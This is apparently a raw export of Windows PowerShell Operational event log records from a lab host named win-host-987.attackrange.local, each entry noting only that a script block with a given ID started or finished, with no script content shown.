LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036890
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036889
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036888
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036887
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036886
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036885
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036884
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036883
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036882
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036881
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036880
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036879
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036878
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036877
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036876
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036875
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036874
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036873
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036872
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036871
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036870
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036869
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036868
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036867
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036866
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036865
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036864
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036863
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036862
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036861
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036860
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036859
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036858
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036857
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036856
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036855
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036854
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036853
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036852
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036851
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036850
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036849
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036848
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036847
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036846
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036845
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036844
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036843
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036842
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036841
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036840
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036839
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036838
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
